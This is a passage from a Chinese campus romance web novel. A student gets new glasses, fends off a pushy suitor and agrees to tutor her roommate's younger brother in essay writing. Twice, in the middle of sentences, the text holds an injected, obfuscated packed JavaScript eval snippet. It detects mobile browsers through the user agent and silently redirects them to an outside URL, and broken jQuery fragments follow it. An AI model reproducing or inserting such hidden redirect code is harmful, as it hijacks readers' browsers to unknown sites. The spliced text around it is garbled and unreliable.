“我去澄子你换眼镜了??!” 这一嗓子把其他两个人的注意力都吸引了过来,大家像打量什么新奇到不行的东西,发出一阵又一阵惊叹。 到叫舒澄有些不好意思。 她这次换了一个金属边框的眼镜,也不再是上一个扁长的长方体形状的镜框,而是偏圆。以前在高中,班级里的女生大多戴这种外观的眼镜,还挺好看的。 所以这次她给自己选了一个这样的镜片。 “终于把你那个市场大妈戴的掉漆眼镜给换了!”段斐满脸欣慰,“对嘛你看现在这个眼镜多好看,多秀气啊,呦呵还玫瑰金的,挺时尚!” 叶从容捧着脸颊,露出老母亲的微笑,“镜片是不是薄了?宝贝你知不知道你之前那个镜片超级厚,戴在你眼睛前面把你眼镜足足缩小了两三倍,刚开学那一阵我一直以为你眼睛可小了呢。” “同意同意,欸我发现你头发也比开学的时候长了不少,澄子你要不留一个长发吧,你这个脸型和身高留长发绝对好看。” 舒澄:“……” 她有些扎心道:“我之前那个眼镜,很土吗?” “很土。” “非常土。” “土到想骂人。” 舒澄:“……谢谢你们啊,怪诚实的。” “应该的!”段斐走到舒澄衣柜旁,顺势拉开柜门,看到里面清一水的白T牛仔裤,还有常年挂着的那两件外套,眼前一黑,“眼镜都换了,你衣柜里的衣服是不是也该换换了?有时候我都奇怪你都是从哪里买来的这些土衣服,怎么我相碰都碰不见。” 舒澄如实回答,“在我家附近的服装城。” “乖。”段斐怜爱地摸了摸舒澄的脸蛋,手感不错,她借机捏了一把,“以前上高中买丑衣服不是你的错,但是你能不能解释一下你身上这嫩黄色还绣着一个黑墨镜的鸭子短袖是他妈哪个黑心商人卖给你的?” “昨天隔壁小区有夜市,五十块钱三件。”舒澄扯扯衣角,“丑是丑了点,但质量还不错。” 段斐见舒澄表情纯真,满嘴吐槽的话咽进肚子。 算了! 道阻且长。 对于澄子来说,能去换副眼镜已经是莫大的进步了。 应该给予鼓励! 三个人对换眼镜的舒澄不吝夸赞,夸到最后如果不是舒澄很有自知之明,真要觉得自己的颜值已经到了宜大校花的地步。 洗完澡后,她坐在桌子前涂面霜。 几十块的超市货,被段斐嫌弃了不止一次。 她看向镜子里的人。 巴掌脸,杏眸,鼻子和嘴巴都很小巧。 她戴上新配的眼镜,镜子里的人也戴上了一副玫瑰金的眼镜。 跟之前的黑框眼镜不同,这一次她的眼镜没有被厚厚的镜片覆盖,黑色的镜框也没有将她的眉眼全部遮掉。反而多了几分秀气。 她好像褪下厚重的盔甲和外壳,第一次真切地看到自己的样貌。 好像,还可以。 … 几日后,舒澄在图书馆遇到苏蓝。 他见到舒澄,先是不敢置信,然后满脸惊喜,“舒澄?你变化好大,我差点没认出来。” 舒澄不自在地推了下眼镜,“还好吧。” “你换眼镜了?”苏蓝打量着舒澄,夸赞道,“这个眼镜很适合你,我以前怎么没发现你眼镜还挺大的,欸,你近视多少度啊?” “七百多度。” “那不低了。”苏蓝自来熟般坐在舒澄身边,以手托腮,“有人跟你说,你戴这个眼镜还挺好看的吗?” 苏蓝声音很低,带着不难察觉的暧昧。 舒澄起了一层鸡皮疙瘩,她真的,很多、很多、很多年没有被异性搭讪过,所以浑身不适,“呃,室友说过。” “除了室友呢?” “没有。” “那我是第一个夸你的异性了?”苏蓝笑眼眯眯,“对了,你吃午饭了吗?” “在食堂吃过了。” “你好像经常去食堂吃饭。” “嗯,食堂便宜。” 苏蓝一愣,没想到舒澄居然这么直白,他笑容更大,“我还没怎么去咱们学校的食堂吃过饭呢,下次有机会一起啊?” 舒澄刚要拒绝,苏蓝又道:“对了,正好今天在这里遇见你,周五晚上七点在英语系阶梯教室有外籍讲座,到时候我带你一起进去?” 英语系的外籍讲座基本上都是教授们自己的人脉,所以不对外开放。 如果没有英语系的熟人带着,很难混进去。 舒澄答应了。 同伴叫苏蓝去球场打球,苏蓝跟舒澄告别,“那周五六点半,我在你们寝室楼下等你,寝室楼号码你到时候发我。” 舒澄想说去教学楼门口就可以,还没等她开口,苏蓝就跑远了。 她轻轻皱眉,有些不适应苏蓝的亲近。 已经离去的两人勾肩搭背。 同伴穆康威逼利诱,“那女生谁啊?快从实招来!” 苏蓝笑着打岔,“什么啊。” “什么什么啊,你不是在追那个心理系叫舒澄的女生吗?怎么又换了一个?” 苏蓝:“那就是舒澄。” 穆康一时间没反应过来,“谁啊?”他不可置信地用拇指向后方指,“你说刚才那个女生是舒澄?舒澄不是带着个黑框眼镜,贼土的那个吗?” 穆康使劲回忆,他也没怎么仔细看过舒澄,所以怎么也无法将刚才那个女生跟舒澄的形象划等号。 苏蓝笑着说,“差别有点大是吧,我今天看到以后也吓了一跳。确实是她,她换了一副眼镜。” 穆康往后打量,被苏蓝拧过脑袋,“你别这么明目张胆。” “好吧,看她穿那么土,应该就是舒澄。”后方明黄色的短袖差点没闪了穆康的眼睛,他揶揄自己的好兄弟,“行啊,没想到还被你碰见个潜力股呢。” 女生方才被搭讪那一双受到惊吓的杏眸,在薄薄的镜片后面眨动。苏蓝头一次发现,舒澄的睫毛居然那么长,眨眼间都能够碰到镜片。 “别乱说了。” 周五晚,苏蓝发来微信。 稳:【在楼下了。】 稳:【不急,你慢慢下来。】 舒澄收拾好听讲座需要的笔记本和记号笔,准备下楼。 没注意身后叶从容和陈小雨偷偷交换了一个眼神,也穿好鞋子。 舒澄起身,另外两个人也跟着起身。 她没怀疑,“你们两个也要下楼?” “啊,对对。”叶从容搂着陈小雨,“我俩去校外吃火锅,段斐不是肠胃炎请假回家了吗,我打算拍点照片气她。” 确实。 像这俩人能干得出来的事。 于是三个人便一起下了楼,刚走到寝室门口,舒澄就看见了站在楼下的苏蓝。 他穿着白色短袖,天蓝色衬衫外套。下半身穿着浅色牛仔裤,白色运动鞋,很清爽。 苏蓝注意到门口的动静,冲舒澄招手。 不丑,小帅。 看身高最多一米八,属于大学里很常见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143859|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的男生。 叶从容和陈小雨做出评价。 苏蓝冲她俩打招呼,“你们是舒澄的室友吗?你好,我叫苏蓝,蓝色的蓝。” 叶从容看看他的衬衫,又看看他的牛仔裤,“是挺蓝……” 陈小雨用指甲扣她。 叶从容表情扭曲一秒,“苏蓝啊苏蓝,你好你好。我叫叶从容,从容的那个从容,这位是叶小雨,小雨的那个小雨。” 苏蓝对这个跟没介绍似的介绍并不介怀,“不是说还有一位吗?怎么才三个人。” “你说段斐啊,她肠胃炎,昨天上午就请假回家了。” “那有点可惜,下次大家都在我请大家吃饭。” 场面话,没人当真。 叶从容打了几句哈哈就跟陈小雨离开了。 走之前她冲舒澄拼命使眼色。 舒澄接收失败。 在去教学楼的路上,舒澄口袋里的手机震动个不停,一猜就是叶从容发来的消息。 苏蓝在旁边滔滔不绝讲起外籍讲座当年创办的由来。 舒澄没办法忽略口袋里不停震动的手机,说了句抱歉,将手机拿出来看。 「随便什么群吧」 本命是biro:【看起来不像什么老实人啊,小心澄子!】 Black:【我感觉还可以啊。】 本命是biro:【看起来老实而已!一见面就说要请吃饭,不守男德!】 本命是biro:【澄子你可不要被他人畜无害的外表骗了!】 本命是biro:【不过人长得还行,虽然不是大帅哥,但也勉强算得上一个小帅哥,你要是想谈恋爱练练手我支持你。】 Black:【你最不靠谱。】 舒澄哭笑不得,打字在群内回复:【就是去听讲座。】 她补充一句:【普通同学。】 本命是biro:【练手!】 …… 叶从容完全没看进去。 舒澄有些头大,开了静音将手机收回去,撞见苏蓝正含笑看向自己。 话题中心的主人公就在旁边,她有点心虚,“室友,问我作业。” “好的。”苏蓝大方道,“我还以为她们在讨论我呢。” “呃,没有。” 舒澄撒谎,“我室友,一般不在背后议论别人。” 一般不在背后议论别人的室友们此时正在群里讨论的热火朝天。 叶从容将苏蓝从头到脚从里到外点评一番,她对舒澄有很深的室友滤镜,觉得舒澄这种一心学习的好学生很容易被苏蓝这种男生骗。 再加上平时没见过这个苏蓝,现在舒澄换掉那副压制颜值的眼镜,这个叫苏蓝的男生就冒出来了,其心可诛! 叶从容话太频繁,太密,将在家躺尸的段斐都炸了出来。 她从上到下将来聊天记录原原本本看一遍,在群里发话:【我替这个苏蓝说句公道话啊,澄子没换眼镜前我就在运动会遇到过他给澄子献殷勤。】 本命是biro:【真的吗?】 斐乐:【真的,我用我后半生的肠子发誓。】 陈小雨:【yue】 叶从容哪能轻易改观,在群里说苏蓝的衣着打扮就很像刚上大学迫不及待开始打扮想要哄骗女生的渣男。 段斐说什么穿搭,有没有图发来看看。 叶从容便把偷拍舒澄和苏蓝的照片发在群内。 段斐回了个大拇指,说叶从容不去当狗仔真的太可惜了。 叶从容发来一条语音。 段斐点开图片,一边看图一边听语音。 叶从容嗓门大,偌大的客厅回荡着她的声音,“关键是我看这个苏蓝,从头到脚透着老实人三个字,你们知不知道这三个字有多恐怖,有多少表面看起来老实实际上一肚子坏水的男生,澄子从来没谈过恋爱,一心读书,最容易被这种老实的男生骗了。” 哐当。 身后传来一阵声响。 段斐扭头去看。 段叙手里握着玻璃杯,杯子正撂在白色大理石台面,面上一片溅出的水渍,刚才的声响就是杯子砸向台面的声音。 “一个杯子都拿不稳?” 段叙将玻璃杯里的水倒进水槽,抽了两张厨房纸清理台面,语气松散,“沉,拿不动。” 段斐懒得跟他计较,她忙着在群里跟室友聊天。 她说澄子才不会被这种男生骗,澄子是爱读书又不是书呆子,能骗到澄子的那得是披着羊皮的狼……说到这,段斐心里怎么想怎么觉得就是自己弟弟这种人。 这才叫真正的外表人畜无害,实际一肚子坏水。 一盘鲜红欲滴的樱桃被端到段斐面前,她抬头,“你还是我弟吗?转性了?还是鬼附身?” 段叙无语,盘子刚撂下就拿起,“不吃拉倒。” “吃!怎么不吃!”段斐连忙放下手机把樱桃捧在怀里,咬了一口笑眯眯说真甜。 她手机大剌剌放在身边,没熄屏。 屏幕上是一张被放大的照片,里面拍的是一男一女,男生穿着蓝色衬衫蓝色牛仔裤,比身旁的女生高了将近一个头。 段叙伸手到段斐的盘子里抢了一个樱桃,随口问:“这是舒澄姐的男朋友?” “还不是。但我们都觉得是在追她。”段斐咬着樱桃,“我还是第一次听说追女生是带她去听讲座的,也就是被追的人是澄子吧,换个人估计都觉得有病。” “她们都觉得追不到,我到觉得不一定。” 段叙:“为什么?” “因为我会帮忙啊。”段斐一拍胸脯,“叶子有一句话说的挺对,就当练手了,澄子哪都好,就是感觉差点意思,学心理学的自己情感怎么能不丰沛一点,你说对吧——欸你拿走樱桃干什么,我还没吃完!” 段叙抢过段斐手里的盘子,头也不回离开。 “要吃自己洗。” “有没有同情心!你姐我肠胃炎还没休息好啊!” “是吗?”段叙回头,冷淡勾唇,“我看你话这么多,还惦记着多管闲事,还以为你休息好了呢。” “?!” 这是亲弟?! 这是捡来的吧!! 应该让叶从容过来看看,什么叫真正表面人畜无害,实际一肚子坏水! 苏蓝,那跟段叙一比,算个球?! 17. 弟弟 英语系的外籍讲座果然含金量满满,舒澄了解到了不少国外的对话习惯,这才发现自己之前在课本上学习的东西有多脱离实际。 她上学期的英语在系里只排到中流位置,其中口语在中间拉低了很多分。如果在心理系只到中流,那放眼整个宜大,基本上只能排到很靠后的位置了。 只可惜外籍讲座举办的频率并不频繁,平日里还要靠舒澄自己学习。 讲座后苏蓝倒是邀请她要不要参加英语系的口语俱乐部,但舒澄听到俱乐部每周都至少要举办两次线下活动,聚餐一次,便拒绝了。 她现在每周要给邵遥遥上课,没有时间匀给俱乐部。而且舒澄不理解,每周举办两次线下活动也就算了,为什么还要聚餐一次,难道聚餐也对练习口语有帮助? 叶从容听到舒澄这么问,再一次露出慈母微笑。 舒澄更疑惑了。 周末过后,段斐在群里发消息说她终于要回来了,让大家洗干净等她。 叶从容在群里回了一个谢主隆恩的表情包。 段叙的消息就是这时弹来的。 Xu。。:【舒澄姐,帮忙转告一下我姐,她投影仪落在家里了。】 舒澄:【好,不过怎么不直接发给你姐?我看她刚才还在群里说话了。】 Xu。。:【哦,她把我拉黑了。】 舒澄看着段叙发来的这句话,一默。 不知为什么,她仿佛看见段叙此时正一脸平淡,半点没有被拉黑的气急败坏。 看语气,似乎早习以为常。 舒澄:【段斐怎么把你拉黑了?】 Xu。。:【抢她樱桃。】 扑哧—— 舒澄笑出声。 这姐弟二人,有时候真挺幼稚。 不过这样才是正常的姐弟关系吧。 舒澄想到舒不凡,说心里没有一点羡慕,是假的。这也是她为什么会对段叙格外关心的原因,舒不凡从不会像段叙一样跟自己说话,他像个时刻走在暴躁边缘的暴躁小孩,动辄不如意就跳脚大哭。 以前舒澄很讨厌他,但后来随着她慢慢懂事,舒澄发现,舒不凡会养成这种性格,跟舒杰和黄丹的性格脱不开关系。 他的性格就像是这个吵闹家庭的缩影。 说白了,舒不凡又何尝不是这种教育下的结果呢。 所以她现在对舒不凡的存在,看开了很多。甚至如果没有舒不凡分走黄丹的视线,她的日子恐怕更不好过。 晚间段斐一到寝室,就露出神秘的微笑。 “孩儿们,我给你们带了一个宝物!” 众人期待。 段斐在热切的目光中得意地哼声,像电影慢镜头一般拉开箱子,“当当!” “——卧槽,我投影仪呢?” 段斐蹲在地上看着空空如也的行李箱,她说怎么出门的时候觉得箱子这么轻,又好像忘记了点什么。 “我忘带了,靠我弟绝对知道,也不提醒我一下!” 怪不得家里那个少爷破天荒靠在玄关一脸看戏的表情问自己是不是回学校。 段叙明明知道自己忘记带投影仪,却不提醒,故意的! 段斐呵呵磨牙冷笑。 眼看段斐的怒气要更胜一曾,舒澄及时开口:“段叙刚才给我发微信了,说你忘带投影仪。他说你把他拉黑了,所以让我转告你一下。” 马后炮! 段斐勾起唇角,桀桀桀笑出声。像极了干成坏事的反派。 叶从容跟陈小雨纷纷后退,将舒澄抱在中间,瑟瑟发抖。 段斐从行李箱底部摸出一个白色的ps5,“呵呵!还好我留了一手!” 舒澄不认识ps5,她看着这个有黑色底座的白色机器,“这是什么?” “我弟的游戏机,ps5。”段斐把ps5放在桌上,桀笑道,“这周他别想玩游戏了,我让他蔫坏明知道我忘带投影仪不提醒我!” 叶从容发自内心佩服这两姐弟,“你俩不愧是亲姐弟。”说出了舒澄的心声。 “澄子,他想要ps5的话,让他拿着我的投影仪来学校换!” 第二天,段叙果然出现。 Xu。。:【舒澄姐,我姐是不是把ps5带到学校里了?】 舒澄:【嗯。】 Xu。。:【她是不是让我拿投影去换?】 段斐说,如果段叙出现,就让舒澄把ps5的照片发给他。 舒澄听话地走到段斐桌旁,将被五花大绑的ps5拍照发给段叙。 可怜的ps5被段斐用捆鲜花的丝带缠了十几圈,上面还贴了一张标签:「主人无良,害我至此!」 Xu。。:【……】 Xu。。:【麻烦了,舒澄姐。】 舒澄问:【那你什么时候过来取?这周我没课,不然就顺便给你送过去了。】 Xu。。:【明天下午吧,正好我们放假。】 舒澄:【好。】 段斐还没消气,送ps5的任务就落到了舒澄手里。 次日,段叙给舒澄发消息说已经到了的时候,舒澄的课还没结束。她只好跟段叙说让他在教学楼门外多等一会儿。 正值课间,教学楼来往人数众多,段叙站在楼下吸引了不少人的目光。 少年身材高挑,肩宽腿长,外貌出众。 长眸低垂,乌睫翩翩,远远站在那里,像幅画似的。 周围路过的人议论纷纷,走过了也要回头张望。 心想这是哪个学院的学生,长这么帅。 “弟弟。” “弟弟?” “弟弟!” 舒澄唤了几声,段叙都没反应。 她只好叫了他的名字,“段叙!” 段叙这才抬头,跨过攒动的人头,瞧见从教学楼里出来的舒澄。 她穿着明黄色的短袖,背着包,颜色明亮,在人群中很显眼。 舒澄小跑到段叙面前,把ps5还给他,“等很久了吧,不好意思。” “没关系,是我来早了。” 段叙把装着投影仪的包递给舒澄,他视线扫过舒澄后方某处,笑了笑,对着那个方向轻轻挥手。 舒澄跟着看,发现正是段斐、叶从容和陈小雨三人。 叶从容和陈小雨还是第一次看见段斐口中的真人版弟弟,比她拍的那一串心虚逃窜的照片不知道好看了多少倍,叶从容心化成一滩水,“哎呀弟弟长得真好看啊,那侧脸轮廓比我人生规划还分明啊!” 段斐翻白眼,“有那么夸张。” 叶从容:“我能不能去弟弟面前打个招呼啊,我想近距离看看帅哥。” 段斐:“你去呗,去了你就别……”回来。 没说完,叶从容就跟陈小雨欢天喜地冲段叙跑过去了。 段斐:“……” 除了她就没人能看清这少爷的真实面目吗! 叶从容遇到帅哥社交属性那是成倍增长,“弟弟,你叫段叙是不是?我叫叶从容,从容不迫的从容,你姐的室友。这位是陈小雨,下冰雹的那个小雨。” 段叙的投影包没递出去,他收回手,礼貌道:“听我姐姐提过。” “啊呀段斐还跟你说过我们呢?”叶从容笑得灿烂,“这大热天的你说段斐也是,还让你这么远跑过来取东西,你放心一会儿我帮你说她啊。” 在后面听见叶从容说话的段斐:……损友。 “好,谢谢从容姐。” 他这一句从容姐姐,让叶从容激动的双手握拳,“客气客气!弟弟吃饭了吗?要不要跟我们一起?” “还没。” 眼见着段叙要横插一脚,段斐立刻冲上前,“别!好好的火锅局别带他!而且他不爱吃火锅,觉得味道大,一身少爷病,邀请他干嘛。” 段叙也不恼,“你肠胃炎刚好,就吃火锅?” 段斐叉腰,“及时行乐,姐姐我乐意!”她揽住叶从容和陈小雨这两个见颜值使舵的墙头草,“咱们三个去!” 段叙微顿,“舒澄姐不去吗?” 叶从容替舒澄回答,“澄子平时都吃食堂。” 段斐道:“你不爱吃火锅就别跟着一起凑热闹了,跟你亲姐去吃食堂吧。” 此话一出,段斐立刻感到两道幽怨的视线从叶从容和陈小雨身上发射出来,如果目光有箭头,那她现在绝对被射个对穿。 那俩人脸上就差写着你怎么可以这么跟弟弟说话! 段斐觉得自己失宠了,她愤恨地看着段叙,用目光威胁。 段叙本也没打算凑热闹,听话地说:“好。” 段斐实在看不惯他在外人面前装乖的样子,拉着三步一回头的两棵草走了,临走前对舒澄说:“我这个继弟弟就交给你了,别饿死就行。” “……” 舒澄:“好。” 三人走后,舒澄站在原地犹豫,还真要带段叙去吃食堂? 也不是寒酸,就是觉得段斐她们去吃火锅,段叙一个人跟她吃食堂,怪可怜的。 段叙却像看穿她心中所想,“就去食堂吧,我下午还约了杜尚兰。” 这么说,舒澄良心稍安,她冲段叙伸出手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143860|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段叙一愣。 舒澄:“投影仪给我吧。” 段叙:“我先背着吧。” 没等舒澄坚持,他便迈开腿,“食堂是往前走吗?” “往左。” “……” 两点多,正是食堂人少的时候,窗口没什么人,很空。 段叙点了两荤一素一汤,舒澄则点了一碗蔬菜面外加一碟小菜。 两个人找了个安静的地方坐下,舒澄早就发现段叙吃东西好像很在意荤素搭配,而且口味偏清淡。 不像段斐,无辣不欢。 坐下没多久,身后就传来一个熟悉的声音。 “舒澄?” 段叙抬眸,嘴里的脆骨咬得咯嘣作响。 舒澄眼里的惊讶一身而过,她还真没想到居然会在食堂碰见苏蓝,“好巧。” “是啊好巧。” 苏蓝刚参加完俱乐部活动,想着到食堂随便吃一口,没想到居然能碰见舒澄。她对面还坐了一个很眼熟的人。 苏蓝想破脑袋,想起来了,“这是你室友的弟弟吧?弟弟好啊。” 段叙给了一个很敷衍的眼神。 苏蓝手里端着餐盘,“这么巧遇见了,咱们拼个桌吧。”没等舒澄同意,他就自来熟坐在了舒澄身边。 “这学期还有一次讲座,到时候我提前跟你说时间哈。” 舒澄将碗往旁边挪远,“那麻烦你了。” “都一个学校的,客气什么。”苏蓝语气热络,“弟弟今天怎么来宜大了?” “有事。” “弟弟,你哪个学校的?” “附中。” “附中啊,是不是学习很好?这么样,以后是不是要考宜大?” “嗯。” 苏蓝将盘子里的鸡腿夹给舒澄,“我打多了,鸡腿给你吧,我听室友说他家鸡腿很好吃,你尝尝。” “不用——” 大鸡腿被夹到舒澄的小菜碟子里,将小菜全都压在了下面。 舒澄本就对苏蓝的热情有点无所适从,此刻他如此不由分说将鸡腿给自己,让她轻轻皱起眉头,有些不舒服。 鸡腿在盘子里还没停留几秒,就被段叙夹走。 他盯着苏蓝,咬下一口鸡腿,“我爱吃,夹走学长没意见吧?” 苏蓝一笑,“没,当然没。不够再跟我说,我去买。” 鸡腿被夹走,舒澄心里松了一口气。 苏蓝似乎也意识到刚才的举动有点冒犯,后面吃饭的时候便没再动筷子,他主动提了几个话题,舒澄反应都平平淡淡,没有想要继续说话的意思。 为了不让气氛冷场,他谈话的对象换到了对面段叙身上,“刚才你说要考宜大?想考什么专业?” “计算机。” “计算机啊,宜大王牌专业,很有想法嘛。不过宜大计算机很难考,分数很高,我当年就想报计算机系来着,但我分数比去年录取线少了两分,填报志愿的时候就没冒险。” “哦?”段叙眼梢微挑,“每所学校不是可以报考五个平行志愿吗?计算机系滑档还有其他专业兜底。” “是啊。”苏蓝惋惜地说,“那时候不知道这么想的,宁肯是我没报计算机系,也不滑档滑走吧,高中生嘛,多少会有点幼稚中二的想法,好再后来17年宜大计算机系的分数线还涨了5分,不然估计我每天都会在后悔中度过了。” “宜大计算机系的分数线是越来越高了,你要是想考这个专业,可得努力学习啊。” 闻言,舒澄差点被面条呛到。 她轻声说,“他学习还挺好的。” 苏蓝笑,不以为意:“是吗?在附中排多少名?最起码要排到前十才有机会摸到计算机系的门槛呢。” “前十啊。” 段叙慢悠悠道。 “对啊。”苏蓝以为他被这个名次吓到了,宽慰道,“不用觉得有压力,附中本来就是顶尖高中,你能考进去也很厉害了,前十非常有难度。” 舒澄瞥到段叙嘴角擒着的淡笑,第一次发现他还挺坏的。 蔫坏。 氛围随着苏蓝开始分享自己的学习经验,逐渐修罗场。 舒澄不忍他一会儿被打脸严重,温声打断苏蓝讲述自己是如何通过一个学期的努力考进颂北学年前二十,“他,第二。” 苏蓝没反应过来,“班级第二?” 三大校一个年级至少十五个班,说实话班级第二也不一定在学年得到什么好名次,尤其是普班第二那就是在前面考场里垫底用的。 舒澄轻咳,“年级第二。” 18. 弟弟(分割线 剧情加快) 落针可闻。 之后,苏蓝在桌上只字未提任何跟学习有关的话题,这顿饭吃的也算安静。 吃完饭,舒澄要送段叙去校门口,苏蓝说自己一会儿有课,先行离开。 下午阳光炽烈,街道两边的树木郁郁葱葱。 长街两侧被投下一片阴影,走在之间隐隐可以听见蝉鸣。 忽而一阵清风吹过,少年的声音自风过后响起,“舒澄姐,那人是你男朋友?” 舒澄步子一歪,“不是。” 她本以为这个话题会就此终止,却没想到身边的弟弟却没打算放过她。 “哦,那舒澄姐你喜欢那样的吗?” 林荫间,段叙脚步散漫,声音比他的人更散。到真的像午后闲步随口一问。 舒澄没考虑过谈恋爱的事情,原因很多,也很复杂,捡出来两条最主要的,一是她还不想谈爱,觉得要去顾及另一个人的感受很麻烦。二是黄丹不会允许她在大学谈恋爱。 说来奇怪,黄丹严令禁止她在大学谈恋爱,却总把早点结婚相夫教子挂在嘴边,像锋利的矛和坚固的盾,互相矛盾。 如果让黄丹知道她在大学谈恋爱,估计会从县城连夜坐火车来学校给她一巴掌。 干得出来。 这些细节她没必要跟段叙讲,只说:“不喜欢。” 一只修长分明的手搭住舒澄的肩膀,轻轻将她推到林荫路的里面,这里阴凉更盛,没有斑驳洒下的光影扰人眼睛。 “嗯,我也觉得他配不上你。” 一颗网球自场内飞出,绿色在半空画出一道痕迹,没入灌木丛。 场内打球的同学趴在铁网边,冲二人所在的方向喊道:“不好意思同学,能帮忙捡一下网球吗?就在你们前面的灌木丛里,一颗绿色的网球。” 段叙捡起丛底的网球。 他后退几步,握住网球冲场内狠狠一掷。 少年身型薄瘦,挥手间衣摆翩飞,露出里面一截精瘦的腰。那截腰像振翅的蝴蝶,一闪而过。他握着网球的手臂在用力的那一瞬间,肌肉形状被勾勒明显,律动而自由。 场内的人惊呼一声,接到网球,笑着喊了句谢谢。 话题重新回到上一个问题。 舒澄笑笑,“叶从容她们也这么说,看来我在你们心里还挺优秀的嘛。” “你呀,别操心我的事情了,是不是又要期末了?” “下周。” 真快啊。 一转眼一个学期又要结束。 “作文练习的怎么样?我很期待你这学期的作文分。” 她看过段叙的分数,在作文只拿到40多分的情况下,跟班级第一、也是年级第一才差了不到十分,如果段叙的作文分提升上去,那第一的位置就要换人了。 “还行吧。”段叙模糊回答,“你暑假还要给初中部那个小孩上课吗?” 最近事情多,舒澄差点把这茬忘记,马上暑假她也要找一找其他兼职,到了大二各种学费和住宿费,又是一大笔花销,“不上,她假期都去国外。” “你今年暑假也不回家吗?” “嗯,不回。” 察觉到段叙投来的目光,舒澄冲他笑,“你那是什么表情?不会觉得我是被家里赶出来的吧?” 连续两个学期,逢年过节不回家,跟家里人说的话加起来一只手都数得过来。 好像确实有点可疑。 没成想,段叙居然真的点点头。 舒澄莞尔,“那还没到那种地步,只是我得赚到第二年的学费。” 行至校门口,网约车早早等候在门口。 舒澄接过他肩膀上装着投影仪的背包,跟他道别,“到家后报个平安。” 段叙打开车门,回头看舒澄站在树荫下,冲自己挥手,脸上带着一贯温和的浅笑。 好像真把自己当成弟弟。 听段斐说,她真有个弟弟。 司机回头催促。 少年在明媚的日光下抬起一只手,在舒澄疑惑的目光下轻轻指了指自己眼眶附近,“新眼镜很好看。” 网约车卷尘离开。 舒澄在原地微怔。 很快,她脸上浮现一丝笑意。 善意和午后的阳光一样,让她身心舒展,温暖。 … 紧锣密鼓的期末考试在窗外虫鸣日渐嘶声裂肺中走向尾声。 舒澄去年在某个学姐的介绍下加了一个宜宁本地兼职群,一到暑假群里各种兼职消息数不胜数,她都挑花眼了。 网管。 奶茶店店员。 酒店前台。 小学教辅机构助教。 网管,她胜在有经验。 奶茶店店员据说每天要摇百八十杯,舒澄有些担心自己的体力问题。 酒店前台,要倒夜班。 教辅机构助教,胜在工作轻松,但工资比前三个要少一半。 正当舒澄犹豫不决时,段斐私聊她,说晚上有点事想要商量,问她暑假兼职定没定。 舒澄说还没定。 段斐让她先不要定,等晚上她开完家长会回来再说。 舒澄回了个好。 她隐隐觉得段斐晚上想说的事情跟家长会有关。 晚上八点,段斐回到寝室。 她将刚从卫生间洗漱完的舒澄捉住,泪眼婆娑,“澄子,你上学期社会心理学那堂课的论述,是不是拿了99分?” 舒澄半懵,点点头。 “救命啊!”段斐如遇恩人,从口袋拿出一张被叠得皱皱巴巴的纸,两三下抖落开,“正好你暑假还没找到兼职,能不能给我弟补一个假期的作文啊?” 叶从容眼疾手快,一伸手将段斐手里那张纸抽走。 早听说段叙成绩好,她直接去前几名那里寻找,扑了个空。 段斐扭头,“往下。” 叶从容将范围换到10名开外,依旧没有。 舒澄意识到事情不对。 段叙这次居然连前十名都没考到? 段斐:“再往下。” 终于,叶从容在第28名的位置看到了段叙的名字,她天呐一声,“弟弟这次怎么考这么低,这学期期中的时候不是还第二吗?” “你看语文分。” 数学:141 语文:95 英语:140 物理:93 化学:94 生物:90 叶从容脑袋一抽,直接问:“附中语文改百分制了?” “神他妈百分制,一百五满。” “他这次作文才得了13分,一整个大偏题,阅卷老师一生气就给了个辛苦分,辛苦分还他妈给打了个折。学年直接排到一百名开外了。” 段斐平时虽然损归损这个弟弟,但知道他心理是有数的。 而且,说句欠骂的话,就算段叙作文分在40出头,他其他科目成绩太好了,影响微乎其微,到了宜大计算机系那分数也是横着走。所以他们家没怎么上过心,能考上就行。 但这次段叙用实际行动狠狠打了他们的脸。 敢情以前考40多分那是撞大运,如果高考作文也像这次一样偏题了呢?就他现在这分数,宜大别想了,调剂到马克思学院都得看运气。 所以这次,段斐也是真着急了。 她双手合十,冲舒澄道:“澄子,我知道你文章写得好,你高考语文是不是将近满分来着?你看暑假能不能给他集中培训一下,反正你也要上兼职,不如给我弟上了。” 叶从容一阵咳嗽,赶紧把成绩单塞给舒澄。 她网上冲浪许多年,内里黄的一批,此刻满脑子废料。 “可以是可以。”舒澄看了眼成绩单,段叙的排名在28,语文成绩被红色粉笔画了一个大大的圈,附近还有数不清的粉笔手印,估计是班主任跟段斐谈话时按上去的。 段斐一把抱住舒澄,脑袋蹭了蹭,“澄子,我就知道你最好了。” 舒澄心里有点疑惑,她明明记得杜尚兰在运动会时说过多亏了那本作文书,他现在都不怎么被语文老师骂了。段叙这么聪明,只要跟着书一起练,再怎么也不至于考到13分这么夸张。 想到这,她找到杜尚兰的成绩,班级前十,语文成绩虽不算高,比上学期也提升了二十来分。 “但你弟弟不介意吗?熟人上课。” “他敢?”段斐哼道,“他现在在家里地位低得很。” 舒澄收好成绩单,“那补课,什么时候开始?” … 一周后,舒澄准时按下段斐家的门铃。 她坐着电梯直达段斐家,之前来过一次,她还是很不习惯这种电梯入户的结构,总觉得没有安全感。看着电梯开合,她就会想,如果有其他人跟着一起上电梯,是不是就将段斐家看了个精光? 这次接待她的人是段家的做饭阿姨,她之前听闻段斐父母工作繁忙,所以会请做饭阿姨来照顾姐弟二人一日三餐。 